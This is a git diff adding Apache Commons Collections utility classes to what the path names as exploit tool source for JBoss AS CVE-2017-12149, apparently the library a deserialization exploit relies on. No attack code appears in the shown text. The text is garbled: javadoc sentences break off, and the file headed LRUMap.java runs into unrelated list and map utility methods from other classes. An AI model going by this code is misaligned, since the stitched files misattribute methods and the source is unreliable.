+ * @param mapIterator the iterator to make immutable
+ * @return an immutable version of the iterator
+ */
+ public static MapIterator unmodifiableMapIterator(MapIterator mapIterator) {
+ return UnmodifiableMapIterator.decorate(mapIterator);
+ }
+
+ // Chained
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator that iterates through two {@link Iterator}s
+ * one after another.
+ *
+ * @param iterator1 the first iterators to use, not null
+ * @param iterator2 the first iterators to use, not null
+ * @return a combination iterator over the iterators
+ * @throws NullPointerException if either iterator is null
+ */
+ public static Iterator chainedIterator(Iterator iterator1, Iterator iterator2) {
+ return new IteratorChain(iterator1, iterator2);
+ }
+
+ /**
+ * Gets an iterator that iterates through an array of {@link Iterator}s
+ * one after another.
+ *
+ * @param iterators the iterators to use, not null or empty or contain nulls
+ * @return a combination iterator over the iterators
+ * @throws NullPointerException if iterators array is null or contains a null
+ */
+ public static Iterator chainedIterator(Iterator[] iterators) {
+ return new IteratorChain(iterators);
+ }
+
+ /**
+ * Gets an iterator that iterates through a collections of {@link Iterator}s
+ * one after another.
+ *
+ * @param iterators the iterators to use, not null or empty or contain nulls
+ * @return a combination iterator over the iterators
+ * @throws NullPointerException if iterators collection is null or contains a null
+ * @throws ClassCastException if the iterators collection contains the wrong object type
+ */
+ public static Iterator chainedIterator(Collection iterators) {
+ return new IteratorChain(iterators);
+ }
+
+ // Collated
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator that provides an ordered iteration over the elements
+ * contained in a collection of ordered {@link Iterator}s.
+ *
+ * Given two ordered {@link Iterator}s
+ * The comparator is optional. If null is specified then natural order is used.
+ *
+ * @param comparator the comparator to use, may be null for natural order
+ * @param iterator1 the first iterators to use, not null
+ * @param iterator2 the first iterators to use, not null
+ * @return a combination iterator over the iterators
+ * @throws NullPointerException if either iterator is null
+ */
+ public static Iterator collatedIterator(Comparator comparator, Iterator iterator1, Iterator iterator2) {
+ return new CollatingIterator(comparator, iterator1, iterator2);
+ }
+
+ /**
+ * Gets an iterator that provides an ordered iteration over the elements
+ * contained in an array of {@link Iterator}s.
+ *
+ * Given two ordered {@link Iterator}s
+ * The comparator is optional. If null is specified then natural order is used.
+ *
+ * @param comparator the comparator to use, may be null for natural order
+ * @param iterators the iterators to use, not null or empty or contain nulls
+ * @return a combination iterator over the iterators
+ * @throws NullPointerException if iterators array is null or contains a null
+ */
+ public static Iterator collatedIterator(Comparator comparator, Iterator[] iterators) {
+ return new CollatingIterator(comparator, iterators);
+ }
+
+ /**
+ * Gets an iterator that provides an ordered iteration over the elements
+ * contained in a collection of {@link Iterator}s.
+ *
+ * Given two ordered {@link Iterator}s
+ * The comparator is optional. If null is specified then natural order is used.
+ *
+ * @param comparator the comparator to use, may be null for natural order
+ * @param iterators the iterators to use, not null or empty or contain nulls
+ * @return a combination iterator over the iterators
+ * @throws NullPointerException if iterators collection is null or contains a null
+ * @throws ClassCastException if the iterators collection contains the wrong object type
+ */
+ public static Iterator collatedIterator(Comparator comparator, Collection iterators) {
+ return new CollatingIterator(comparator, iterators);
+ }
+
+ // Object Graph
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator that operates over an object graph.
+ *
+ * This iterator can extract multiple objects from a complex tree-like object graph.
+ * The iteration starts from a single root object.
+ * It uses a
+ * For example, consider an object graph:
+ *
+ * Internally, iteration starts from the root object. When next is called,
+ * the transformer is called to examine the object. The transformer will return
+ * either an iterator or an object. If the object is an Iterator, the next element
+ * from that iterator is obtained and the process repeats. If the element is an object
+ * it is returned.
+ *
+ * Under many circumstances, linking Iterators together in this manner is
+ * more efficient (and convenient) than using nested for loops to extract a list.
+ *
+ * @param root the root object to start iterating from, null results in an empty iterator
+ * @param transformer the transformer to use, see above, null uses no effect transformer
+ * @return a new object graph iterator
+ * @since Commons Collections 3.1
+ */
+ public static Iterator objectGraphIterator(Object root, Transformer transformer) {
+ return new ObjectGraphIterator(root, transformer);
+ }
+
+ // Transformed
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator that transforms the elements of another iterator.
+ *
+ * The transformation occurs during the next() method and the underlying
+ * iterator is unaffected by the transformation.
+ *
+ * @param iterator the iterator to use, not null
+ * @param transform the transform to use, not null
+ * @return a new transforming iterator
+ * @throws NullPointerException if either parameter is null
+ */
+ public static Iterator transformedIterator(Iterator iterator, Transformer transform) {
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ if (transform == null) {
+ throw new NullPointerException("Transformer must not be null");
+ }
+ return new TransformIterator(iterator, transform);
+ }
+
+ // Filtered
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator that filters another iterator.
+ *
+ * The returned iterator will only return objects that match the specified
+ * filtering predicate.
+ *
+ * @param iterator the iterator to use, not null
+ * @param predicate the predicate to use as a filter, not null
+ * @return a new filtered iterator
+ * @throws NullPointerException if either parameter is null
+ */
+ public static Iterator filteredIterator(Iterator iterator, Predicate predicate) {
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ if (predicate == null) {
+ throw new NullPointerException("Predicate must not be null");
+ }
+ return new FilterIterator(iterator, predicate);
+ }
+
+ /**
+ * Gets a list iterator that filters another list iterator.
+ *
+ * The returned iterator will only return objects that match the specified
+ * filtering predicate.
+ *
+ * @param listIterator the list iterator to use, not null
+ * @param predicate the predicate to use as a filter, not null
+ * @return a new filtered iterator
+ * @throws NullPointerException if either parameter is null
+ */
+ public static ListIterator filteredListIterator(ListIterator listIterator, Predicate predicate) {
+ if (listIterator == null) {
+ throw new NullPointerException("ListIterator must not be null");
+ }
+ if (predicate == null) {
+ throw new NullPointerException("Predicate must not be null");
+ }
+ return new FilterListIterator(listIterator, predicate);
+ }
+
+ // Looping
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator that loops continuously over the supplied collection.
+ *
+ * The iterator will only stop looping if the remove method is called
+ * enough times to empty the collection, or if the collection is empty
+ * to start with.
+ *
+ * @param coll the collection to iterate over, not null
+ * @return a new looping iterator
+ * @throws NullPointerException if the collection is null
+ */
+ public static ResettableIterator loopingIterator(Collection coll) {
+ if (coll == null) {
+ throw new NullPointerException("Collection must not be null");
+ }
+ return new LoopingIterator(coll);
+ }
+
+ // Views
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator that provides an iterator view of the given enumeration.
+ *
+ * @param enumeration the enumeration to use
+ * @return a new iterator
+ */
+ public static Iterator asIterator(Enumeration enumeration) {
+ if (enumeration == null) {
+ throw new NullPointerException("Enumeration must not be null");
+ }
+ return new EnumerationIterator(enumeration);
+ }
+
+ /**
+ * Gets an iterator that provides an iterator view of the given enumeration
+ * that will remove elements from the specified collection.
+ *
+ * @param enumeration the enumeration to use
+ * @param removeCollection the collection to remove elements from
+ * @return a new iterator
+ */
+ public static Iterator asIterator(Enumeration enumeration, Collection removeCollection) {
+ if (enumeration == null) {
+ throw new NullPointerException("Enumeration must not be null");
+ }
+ if (removeCollection == null) {
+ throw new NullPointerException("Collection must not be null");
+ }
+ return new EnumerationIterator(enumeration, removeCollection);
+ }
+
+ /**
+ * Gets an enumeration that wraps an iterator.
+ *
+ * @param iterator the iterator to use, not null
+ * @return a new enumeration
+ * @throws NullPointerException if iterator is null
+ */
+ public static Enumeration asEnumeration(Iterator iterator) {
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ return new IteratorEnumeration(iterator);
+ }
+
+ /**
+ * Gets a list iterator based on a simple iterator.
+ *
+ * As the wrapped Iterator is traversed, a LinkedList of its values is
+ * cached, permitting all required operations of ListIterator.
+ *
+ * @param iterator the iterator to use, not null
+ * @return a new iterator
+ * @throws NullPointerException if iterator parameter is null
+ */
+ public static ListIterator toListIterator(Iterator iterator) {
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ return new ListIteratorWrapper(iterator);
+ }
+
+ /**
+ * Gets an array based on an iterator.
+ *
+ * As the wrapped Iterator is traversed, an ArrayList of its values is
+ * created. At the end, this is converted to an array.
+ *
+ * @param iterator the iterator to use, not null
+ * @return an array of the iterator contents
+ * @throws NullPointerException if iterator parameter is null
+ */
+ public static Object[] toArray(Iterator iterator) {
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ List list = toList(iterator, 100);
+ return list.toArray();
+ }
+
+ /**
+ * Gets an array based on an iterator.
+ *
+ * As the wrapped Iterator is traversed, an ArrayList of its values is
+ * created. At the end, this is converted to an array.
+ *
+ * @param iterator the iterator to use, not null
+ * @param arrayClass the class of array to create
+ * @return an array of the iterator contents
+ * @throws NullPointerException if iterator parameter is null
+ * @throws NullPointerException if arrayClass is null
+ * @throws ClassCastException if the arrayClass is invalid
+ */
+ public static Object[] toArray(Iterator iterator, Class arrayClass) {
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ if (arrayClass == null) {
+ throw new NullPointerException("Array class must not be null");
+ }
+ List list = toList(iterator, 100);
+ return list.toArray((Object[]) Array.newInstance(arrayClass, list.size()));
+ }
+
+ /**
+ * Gets a list based on an iterator.
+ *
+ * As the wrapped Iterator is traversed, an ArrayList of its values is
+ * created. At the end, the list is returned.
+ *
+ * @param iterator the iterator to use, not null
+ * @return a list of the iterator contents
+ * @throws NullPointerException if iterator parameter is null
+ */
+ public static List toList(Iterator iterator) {
+ return toList(iterator, 10);
+ }
+
+ /**
+ * Gets a list based on an iterator.
+ *
+ * As the wrapped Iterator is traversed, an ArrayList of its values is
+ * created. At the end, the list is returned.
+ *
+ * @param iterator the iterator to use, not null
+ * @param estimatedSize the initial size of the ArrayList
+ * @return a list of the iterator contents
+ * @throws NullPointerException if iterator parameter is null
+ * @throws IllegalArgumentException if the size is less than 1
+ */
+ public static List toList(Iterator iterator, int estimatedSize) {
+ if (iterator == null) {
+ throw new NullPointerException("Iterator must not be null");
+ }
+ if (estimatedSize < 1) {
+ throw new IllegalArgumentException("Estimated size must be greater than 0");
+ }
+ List list = new ArrayList(estimatedSize);
+ while (iterator.hasNext()) {
+ list.add(iterator.next());
+ }
+ return list;
+ }
+
+ /**
+ * Gets a suitable Iterator for the given object.
+ *
+ * This method can handles objects as follows
+ *
+ * A Map Entry has considerable additional semantics over and above a simple
+ * key-value pair. This interface defines the minimum key value, with just the
+ * two get methods.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface KeyValue {
+
+ /**
+ * Gets the key from the pair.
+ *
+ * @return the key
+ */
+ Object getKey();
+
+ /**
+ * Gets the value from the pair.
+ *
+ * @return the value
+ */
+ Object getValue();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/LRUMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/LRUMap.java"
new file mode 100644
index 0000000..532847d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/LRUMap.java"
@@ -0,0 +1,206 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Iterator;
+
+/**
+ *
+ * An implementation of a Map which has a maximum size and uses a Least Recently Used
+ * algorithm to remove items from the Map when the maximum size is reached and new items are added.
+ *
+ * A synchronized version can be obtained with:
+ *
+ * Unlike the Collections 1.0 version, this version of LRUMap does use a true
+ * LRU algorithm. The keys for all gets and puts are moved to the front of
+ * the list. LRUMap is now a subclass of SequencedHashMap, and the "LRU"
+ * key is now equivalent to LRUMap.getFirst().
+ * Get the value for a key from the Map. The key
+ * will be promoted to the Most Recently Used position.
+ * Note that get(Object) operations will modify
+ * the underlying Collection. Calling get(Object)
+ * inside of an iteration over keys, values, etc. is
+ * currently unsupported. Removes the key and its Object from the Map. (Note: this may result in the "Least Recently Used"
+ * object being removed from the Map. In that case,
+ * the removeLRU() method is called. See javadoc for
+ * removeLRU() for more details.)
+ * This differs from {@link List#removeAll(Collection)} in that
+ * cardinality is respected; if
+ * This method is useful for implementing
+ * The relevant text (slightly paraphrased as this is a static method) is:
+ *
+ * This method is useful for implementing
+ * You must manually synchronize on the returned buffer's iterator to
+ * avoid non-deterministic behavior:
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param list the list to make unmodifiable, must not be null
+ * @return an unmodifiable list backed by the given list
+ * @throws IllegalArgumentException if the list is null
+ */
+ public static List unmodifiableList(List list) {
+ return UnmodifiableList.decorate(list);
+ }
+
+ /**
+ * Returns a predicated (validating) list backed by the given list.
+ *
+ * Only objects that pass the test in the given predicate can be added to the list.
+ * Trying to add an invalid object results in an IllegalArgumentException.
+ * It is important not to use the original list after invoking this method,
+ * as it is a backdoor for adding invalid objects.
+ *
+ * @param list the list to predicate, must not be null
+ * @param predicate the predicate for the list, must not be null
+ * @return a predicated list backed by the given list
+ * @throws IllegalArgumentException if the List or Predicate is null
+ */
+ public static List predicatedList(List list, Predicate predicate) {
+ return PredicatedList.decorate(list, predicate);
+ }
+
+ /**
+ * Returns a typed list backed by the given list.
+ *
+ * Only objects of the specified type can be added to the list.
+ *
+ * @param list the list to limit to a specific type, must not be null
+ * @param type the type of objects which may be added to the list
+ * @return a typed list backed by the specified list
+ */
+ public static List typedList(List list, Class type) {
+ return TypedList.decorate(list, type);
+ }
+
+ /**
+ * Returns a transformed list backed by the given list.
+ *
+ * Each object is passed through the transformer as it is added to the
+ * List. It is important not to use the original list after invoking this
+ * method, as it is a backdoor for adding untransformed objects.
+ *
+ * @param list the list to predicate, must not be null
+ * @param transformer the transformer for the list, must not be null
+ * @return a transformed list backed by the given list
+ * @throws IllegalArgumentException if the List or Transformer is null
+ */
+ public static List transformedList(List list, Transformer transformer) {
+ return TransformedList.decorate(list, transformer);
+ }
+
+ /**
+ * Returns a "lazy" list whose elements will be created on demand.
+ *
+ * When the index passed to the returned list's {@link List#get(int) get}
+ * method is greater than the list's size, then the factory will be used
+ * to create a new object and that object will be inserted at that index.
+ *
+ * For instance:
+ *
+ *
+ * This iterator is a special version designed for maps. It can be more
+ * efficient to use this rather than an entry set iterator where the option
+ * is available, and it is certainly more convenient.
+ *
+ * A map that provides this interface may not hold the data internally using
+ * Map Entry objects, thus this interface can avoid lots of object creation.
+ *
+ * In use, this iterator iterates through the keys in the map. After each call
+ * to
+ * This method can be called once per call to
+ * It contains various type safe methods
+ * as well as other useful features like deep copying.
+ *
+ * It also provides the following decorators:
+ *
+ *
+ * The String is obtained via
+ * If the value is a
+ * If the value is a
+ * The Byte is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Byte,
+ * The Short is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Short,
+ * The Integer is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Integer,
+ * The Long is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Long,
+ * The Float is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Float,
+ * The Double is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Double,
+ * If the value returned from the specified map is not a Map then
+ *
+ * If the value is a
+ * The byte is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a byte,
+ * The short is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a short,
+ * The int is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as an int,
+ * The long is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a long,
+ * The float is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a float,
+ * The double is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a double,
+ * If the value is a
+ * The byte is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @param defaultValue return if the value is null or if the
+ * conversion fails
+ * @return the value in the Map as a byte,
+ * The short is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @param defaultValue return if the value is null or if the
+ * conversion fails
+ * @return the value in the Map as a short,
+ * The int is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @param defaultValue return if the value is null or if the
+ * conversion fails
+ * @return the value in the Map as an int,
+ * The long is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @param defaultValue return if the value is null or if the
+ * conversion fails
+ * @return the value in the Map as a long,
+ * The float is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @param defaultValue return if the value is null or if the
+ * conversion fails
+ * @return the value in the Map as a float,
+ * The double is obtained from the results of {@link #getNumber(Map,Object)}.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @param defaultValue return if the value is null or if the
+ * conversion fails
+ * @return the value in the Map as a double,
+ * This method prints a nicely formatted String describing the Map.
+ * Each map entry will be printed with key and value.
+ * When the value is a Map, recursive behaviour occurs.
+ *
+ * This method is NOT thread-safe in any special way. You must manually
+ * synchronize on either this class or the stream as required.
+ *
+ * @param out the stream to print to, must not be null
+ * @param label The label to be used, may be
+ * This method prints a nicely formatted String describing the Map.
+ * Each map entry will be printed with key, value and value classname.
+ * When the value is a Map, recursive behaviour occurs.
+ *
+ * This method is NOT thread-safe in any special way. You must manually
+ * synchronize on either this class or the stream as required.
+ *
+ * @param out the stream to print to, must not be null
+ * @param label The label to be used, may be
+ * This method exists as Jakarta Collections does not depend on logging.
+ *
+ * @param ex the exception to log
+ */
+ protected static void logInfo(final Exception ex) {
+ System.out.println("INFO: Exception: " + ex);
+ }
+
+ /**
+ * Implementation providing functionality for {@link #debugPrint} and for
+ * {@link #verbosePrint}. This prints the given map with nice line breaks.
+ * If the debug flag is true, it additionally prints the type of the object
+ * value. If the contents of a map include the map itself, then the text
+ * (this Map) is printed out. If the contents include a
+ * parent container of the map, the the text (ancestor[i] Map) is
+ * printed, where i actually indicates the number of levels which must be
+ * traversed in the sequential list of ancestors (e.g. father, grandfather,
+ * great-grandfather, etc).
+ *
+ * @param out the stream to print to
+ * @param label the label to be used, may be
+ * This operation assumes that the inverse mapping is well defined.
+ * If the input map had multiple entries with the same value mapped to
+ * different keys, the returned map will map one of those keys to the
+ * value, but the exact key which will be mapped is undefined.
+ *
+ * @see DoubleOrderedMap
+ * @param map the map to invert, may not be null
+ * @return a new HashMap containing the inverted data
+ * @throws NullPointerException if the map is null
+ */
+ public static Map invertMap(Map map) {
+ Map out = new HashMap(map.size());
+ for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ out.put(entry.getValue(), entry.getKey());
+ }
+ return out;
+ }
+
+ /**
+ * Nice method for adding data to a map in such a way
+ * as to not get NPE's. The point being that if the
+ * value is null, map.put() will throw an exception.
+ * That blows in the case of this class cause you may want to
+ * essentially treat put("Not Null", null ) == put("Not Null", "")
+ * We will still throw a NPE if the key is null cause that should
+ * never happen.
+ *
+ * @param map the map to add to, may not be null
+ * @param key the key
+ * @param value the value
+ * @throws NullPointerException if the map is null
+ */
+ public static void safeAddToMap(Map map, Object key, Object value) throws NullPointerException {
+ if (value == null) {
+ map.put ( key, "" );
+ } else {
+ map.put ( key, value );
+ }
+ }
+
+ // Map decorators
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a synchronized map backed by the given map.
+ *
+ * You must manually synchronize on the returned buffer's iterator to
+ * avoid non-deterministic behavior:
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param map the map to make unmodifiable, must not be null
+ * @return an unmodifiable map backed by the given map
+ * @throws IllegalArgumentException if the map is null
+ */
+ public static Map unmodifiableMap(Map map) {
+ return UnmodifiableMap.decorate(map);
+ }
+
+ /**
+ * Returns a predicated (validating) map backed by the given map.
+ *
+ * Only objects that pass the tests in the given predicates can be added to the map.
+ * Trying to add an invalid object results in an IllegalArgumentException.
+ * Keys must pass the key predicate, values must pass the value predicate.
+ * It is important not to use the original map after invoking this method,
+ * as it is a backdoor for adding invalid objects.
+ *
+ * @param map the map to predicate, must not be null
+ * @param keyPred the predicate for keys, null means no check
+ * @param valuePred the predicate for values, null means no check
+ * @return a predicated map backed by the given map
+ * @throws IllegalArgumentException if the Map is null
+ */
+ public static Map predicatedMap(Map map, Predicate keyPred, Predicate valuePred) {
+ return PredicatedMap.decorate(map, keyPred, valuePred);
+ }
+
+ /**
+ * Returns a typed map backed by the given map.
+ *
+ * Only keys and values of the specified types can be added to the map.
+ *
+ * @param map the map to limit to a specific type, must not be null
+ * @param keyType the type of keys which may be added to the map, must not be null
+ * @param valueType the type of values which may be added to the map, must not be null
+ * @return a typed map backed by the specified map
+ * @throws IllegalArgumentException if the Map or Class is null
+ */
+ public static Map typedMap(Map map, Class keyType, Class valueType) {
+ return TypedMap.decorate(map, keyType, valueType);
+ }
+
+ /**
+ * Returns a transformed map backed by the given map.
+ *
+ * Each object is passed through the transformers as it is added to the
+ * Map. It is important not to use the original map after invoking this
+ * method, as it is a backdoor for adding untransformed objects.
+ *
+ * @param map the map to transform, must not be null
+ * @param keyTransformer the transformer for the map keys, null means no transformation
+ * @param valueTransformer the transformer for the map values, null means no transformation
+ * @return a transformed map backed by the given map
+ * @throws IllegalArgumentException if the Map is null
+ */
+ public static Map transformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
+ return TransformedMap.decorate(map, keyTransformer, valueTransformer);
+ }
+
+ /**
+ * Returns a fixed-sized map backed by the given map.
+ * Elements may not be added or removed from the returned map, but
+ * existing elements can be changed (for instance, via the
+ * {@link Map#put(Object,Object)} method).
+ *
+ * @param map the map whose size to fix, must not be null
+ * @return a fixed-size map backed by that map
+ * @throws IllegalArgumentException if the Map is null
+ */
+ public static Map fixedSizeMap(Map map) {
+ return FixedSizeMap.decorate(map);
+ }
+
+ /**
+ * Returns a "lazy" map whose values will be created on demand.
+ *
+ * When the key passed to the returned map's {@link Map#get(Object)}
+ * method is not present in the map, then the factory will be used
+ * to create a new object and that object will become the value
+ * associated with that key.
+ *
+ * For instance:
+ *
+ * When the key passed to the returned map's {@link Map#get(Object)}
+ * method is not present in the map, then the factory will be used
+ * to create a new object and that object will become the value
+ * associated with that key. The factory is a {@link Transformer}
+ * that will be passed the key which it must transform into the value.
+ *
+ * For instance:
+ *
+ * If a lazy map is wrapped by a synchronized map, the result is a simple
+ * synchronized cache. When an object is not is the cache, the cache itself
+ * calls back to the factory Transformer to populate itself, all within the
+ * same synchronized block.
+ *
+ * @param map the map to make lazy, must not be null
+ * @param transformerFactory the factory for creating new objects, must not be null
+ * @return a lazy map backed by the given map
+ * @throws IllegalArgumentException if the Map or Transformer is null
+ */
+ public static Map lazyMap(Map map, Transformer transformerFactory) {
+ return LazyMap.decorate(map, transformerFactory);
+ }
+
+ /**
+ * Returns a map that maintains the order of keys that are added
+ * backed by the given map.
+ *
+ * If a key is added twice, the order is determined by the first add.
+ * The order is observed through the keySet, values and entrySet.
+ *
+ * @param map the map to order, must not be null
+ * @return an ordered map backed by the given map
+ * @throws IllegalArgumentException if the Map is null
+ */
+ public static Map orderedMap(Map map) {
+ return ListOrderedMap.decorate(map);
+ }
+
+ // SortedMap decorators
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a synchronized sorted map backed by the given sorted map.
+ *
+ * You must manually synchronize on the returned buffer's iterator to
+ * avoid non-deterministic behavior:
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param map the sorted map to make unmodifiable, must not be null
+ * @return an unmodifiable map backed by the given map
+ * @throws IllegalArgumentException if the map is null
+ */
+ public static Map unmodifiableSortedMap(SortedMap map) {
+ return UnmodifiableSortedMap.decorate(map);
+ }
+
+ /**
+ * Returns a predicated (validating) sorted map backed by the given map.
+ *
+ * Only objects that pass the tests in the given predicates can be added to the map.
+ * Trying to add an invalid object results in an IllegalArgumentException.
+ * Keys must pass the key predicate, values must pass the value predicate.
+ * It is important not to use the original map after invoking this method,
+ * as it is a backdoor for adding invalid objects.
+ *
+ * @param map the map to predicate, must not be null
+ * @param keyPred the predicate for keys, null means no check
+ * @param valuePred the predicate for values, null means no check
+ * @return a predicated map backed by the given map
+ * @throws IllegalArgumentException if the SortedMap is null
+ */
+ public static SortedMap predicatedSortedMap(SortedMap map, Predicate keyPred, Predicate valuePred) {
+ return PredicatedSortedMap.decorate(map, keyPred, valuePred);
+ }
+
+ /**
+ * Returns a typed sorted map backed by the given map.
+ *
+ * Only keys and values of the specified types can be added to the map.
+ *
+ * @param map the map to limit to a specific type, must not be null
+ * @param keyType the type of keys which may be added to the map, must not be null
+ * @param valueType the type of values which may be added to the map, must not be null
+ * @return a typed map backed by the specified map
+ */
+ public static SortedMap typedSortedMap(SortedMap map, Class keyType, Class valueType) {
+ return TypedSortedMap.decorate(map, keyType, valueType);
+ }
+
+ /**
+ * Returns a transformed sorted map backed by the given map.
+ *
+ * Each object is passed through the transformers as it is added to the
+ * Map. It is important not to use the original map after invoking this
+ * method, as it is a backdoor for adding untransformed objects.
+ *
+ * @param map the map to transform, must not be null
+ * @param keyTransformer the transformer for the map keys, null means no transformation
+ * @param valueTransformer the transformer for the map values, null means no transformation
+ * @return a transformed map backed by the given map
+ * @throws IllegalArgumentException if the SortedMap is null
+ */
+ public static SortedMap transformedSortedMap(SortedMap map, Transformer keyTransformer, Transformer valueTransformer) {
+ return TransformedSortedMap.decorate(map, keyTransformer, valueTransformer);
+ }
+
+ /**
+ * Returns a fixed-sized sorted map backed by the given sorted map.
+ * Elements may not be added or removed from the returned map, but
+ * existing elements can be changed (for instance, via the
+ * {@link Map#put(Object,Object)} method).
+ *
+ * @param map the map whose size to fix, must not be null
+ * @return a fixed-size map backed by that map
+ * @throws IllegalArgumentException if the SortedMap is null
+ */
+ public static SortedMap fixedSizeSortedMap(SortedMap map) {
+ return FixedSizeSortedMap.decorate(map);
+ }
+
+ /**
+ * Returns a "lazy" sorted map whose values will be created on demand.
+ *
+ * When the key passed to the returned map's {@link Map#get(Object)}
+ * method is not present in the map, then the factory will be used
+ * to create a new object and that object will become the value
+ * associated with that key.
+ *
+ * For instance:
+ *
+ *
+ * When the key passed to the returned map's {@link Map#get(Object)}
+ * method is not present in the map, then the factory will be used
+ * to create a new object and that object will become the value
+ * associated with that key. The factory is a {@link Transformer}
+ * that will be passed the key which it must transform into the value.
+ *
+ * For instance:
+ *
+ * If a lazy map is wrapped by a synchronized map, the result is a simple
+ * synchronized cache. When an object is not is the cache, the cache itself
+ * calls back to the factory Transformer to populate itself, all within the
+ * same synchronized block.
+ *
+ * @param map the map to make lazy, must not be null
+ * @param transformerFactory the factory for creating new objects, must not be null
+ * @return a lazy map backed by the given map
+ * @throws IllegalArgumentException if the Map or Transformer is null
+ */
+ public static SortedMap lazySortedMap(SortedMap map, Transformer transformerFactory) {
+ return LazySortedMap.decorate(map, transformerFactory);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiHashMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiHashMap.java"
new file mode 100644
index 0000000..2b0c43f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiHashMap.java"
@@ -0,0 +1,460 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.io.IOException;
